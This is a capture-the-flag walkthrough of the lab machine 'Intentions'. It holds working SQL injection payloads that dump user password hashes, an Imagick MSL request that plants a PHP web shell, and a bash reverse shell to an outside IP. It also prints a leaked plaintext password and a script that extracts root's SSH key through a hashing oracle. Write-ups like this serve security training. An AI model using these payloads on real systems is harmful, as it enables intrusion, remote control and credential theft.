Information Gathering
Port Scan
nmap 10.10.11.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 20:24 WIB
Nmap scan report for 10.10.11.220
Host is up (0.026s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
Files and Directory Scanning
me@justakazh:/htb/linux/intentions$ ffuf -u http://10.10.11.220/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 403
admin [Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 63ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 25ms]
favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 73ms]
fonts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 26ms]
gallery [Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 1043ms]
index.php [Status: 200, Size: 1523, Words: 415, Lines: 40, Duration: 58ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 25ms]
logout [Status: 302, Size: 322, Words: 60, Lines: 12, Duration: 152ms]
robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 109ms]
storage [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 422ms]
me@justakazh:/htb/linux/intentions$ ffuf -u http://10.10.11.220/js/FUZZ.js -w /usr/share/wordlists/dirb/common.txt -fc 403
app [Status: 200, Size: 433792, Words: 7736, Lines: 2, Duration: 28ms]
admin [Status: 200, Size: 311246, Words: 6584, Lines: 2, Duration: 27ms]
gallery [Status: 200, Size: 310841, Words: 6285, Lines: 2, Duration: 27ms]
login [Status: 200, Size: 279176, Words: 5446, Lines: 2, Duration: 25ms]
mdb [Status: 200, Size: 153684, Words: 2246, Lines: 2, Duration: 35ms]
Initial Access
web server is running on 80, here we can access website and register as new users then login
On this Feed page, content will be displayed in order of our favorite genres. we can setting our genres on profile page
let’s try to change with random genre
there is no exist item with blowjob genre, probably we can perform SQL Injection via update favorite genres. let’s try to insert single quote (‘) in favorites genres field
the feed returned error message. it’s pontentialy vuln because we has damaged the query. next, let’s fix the query
')/**/OR/**/1=1#
i’m using /**/ because when i’m using [space] will filtered / removed
it’s back to normal with showing all of genres, so we can confirm that vulnerable to SQL Injection.
next, let’s try to enumerate the columns number with order by
. to shorten the time, in the 6 number will return error message and so we can confirm that number 5 is the total of columns
blowjob')/**/ORDER/**/BY/**/5# -> NO ERROR
blowjob')/**/ORDER/**/BY/**/6# -> ERROR
next, let’s use union query to combine the result-set of two or more SELECT statements
blowjob')/**/UNION/**/SELECT/**/1,2,3,4,5#
next, let’s enumerate the tables
blowjob')/**/UNION/**/SELECT/**/1,2,table_name,4,5/**/FROM/**/information_schema.tables#
next, let’s enumerate users columns
blowjob')/**/UNION/**/SELECT/**/1,2,column_name,4,5/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='users'#
finaly, let’s dump the name, email, and password columns
blowjob')/**/UNION/**/SELECT/**/1,2,group_concat(name,':',email,':',password,':',admin),4,5/**/FROM/**/users#
there is a lot of users, but we can focus on users with admin role (identified by 1). i was to try cracking this hash (bcrypt) with hashcat but got nothing. but in information gathering phase, we found js
files let’s review the source code
in the admin.js
we will know that this website have /api/v2/
endpoint, let’s perform api fuzzing using ffuf
ffuf -u http://10.10.11.220/api/v2/FUZZ -w /opt/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
auth/logout [Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 52ms]
auth/login [Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 57ms]
auth/login
not listed in admin.js file, so probably we can login from this endpoint
here i try send json data from /api/v1/auth/login
but the response returning error message The hash field is required.
in another word, this website only allow user login with hash. it’s look so weird. let’s try to login using discovered bcrypt hash
successfuly login as steve. next, let’s change our cookie with steve cookie then try access /admin
page
on edit image, we can change the effect image.
it’s look like using Imagick, we can confirm that in admin.js
here we can relocate the path
and effect
parameters from the JSON POST body to the query string
to get rce, we can use vid:msl
. The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).
POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=waduh HTTP/1.1
Host: 10.10.11.220
X-XSRF-TOKEN: ...
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Cookie: token=....
Content-Type: multipart/form-data; boundary=------------------------waduh
--------------------------waduh
Content-Disposition: form-data; name="file"; filename="test.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>" />
<write filename="info:/var/www/html/intentions/storage/app/public/waduh.php" />
</image>
--------------------------waduh
the waduh.php
will be written in /var/www/storage/intensions/storage/app/public/ directory and we can access in http://10.10.11.220/storage/waduh.php
curl http://10.10.11.220/storage/waduh.php?cmd=id
next, let’s perform reverse shell
curl -X POST "http://10.10.11.220/storage/waduh.php" --data 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.2/1337 0>%261"'
Privilege Escalation
we will found the .git directory in/var/www/html/intentions
, but there is permission denied when we try to set safe.directory
so we can compress the .git and transfer to our local machine
cd .git
tar cf ../public/git.tar .
wget http://10.10.11.220/git.tar
mkdir git
cd git
tar xf git.tar
here we can perform git log
let’s check the commit using git diff
git diff f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
..
+ $res = $test->postJson('/api/v1/auth/login', ['email' => '[email protected]', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
..
here we found greg
credentials, let’s try to login using ssh
greg:Gr3g1sTh3B3stDev3l0per!1998!
ssh [email protected]
now we running on greg user.
root
we will found the root file in greg home directory. the dmca_check.sh
running /opt/scanner/scanner
binary
greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.
This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.
The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.
Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}
-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h
so the point of this scanner is
- The scanner will check a string via MD5
- if found it will display a message
echo "hello world" > yha
echo "hello" | grep -o . | wc -l
echo -n "hello" | md5sum
/opt/scanner/scanner -c ./yha -l 5 -s 5d41402abc4b2a76b9719d911017c592
first, let’s check if /root/.ssh/id_rsa is exist or not
echo "-----BEGIN OPENSSH PRIVATE KEY-----" | grep -o . | wc -l
echo -n "-----BEGIN OPENSSH PRIVATE KEY-----" | md5sum
/opt/scanner/scanner -l 35 -c /root/.ssh/id_rsa -s c7b55d225fe392726b0daaa0700b8267
the id_rsa file is exist! next, let’s create script to brute force the id_rsa
import subprocess
import hashlib
id_rsa = "-----BEGIN OPENSSH PRIVATE KEY-----"
i = len(id_rsa)
print(id_rsa)
def brute(id_rsa, hash_value):
for ascii_value in range(128):
c = chr(ascii_value)
if hashlib.md5((id_rsa + c).encode()).hexdigest() == hash_value:
return c
while True:
i += 1
result = subprocess.run(["./scanner", "-l", str(i), "-s", "waduh", "-c", "id_rsa", "-p"], capture_output=True, text=True)
arr = result.stdout.split(" ")
# print(arr)
hash_value = arr[-1].strip()
chr_value = brute(id_rsa, hash_value)
id_rsa += chr_value
print(chr_value, end="")
then run the script
python3 brute.py
we got root private key! save it and let’s try connect to ssh
chmod 600 id_rsa
ssh [email protected] -i id_rsa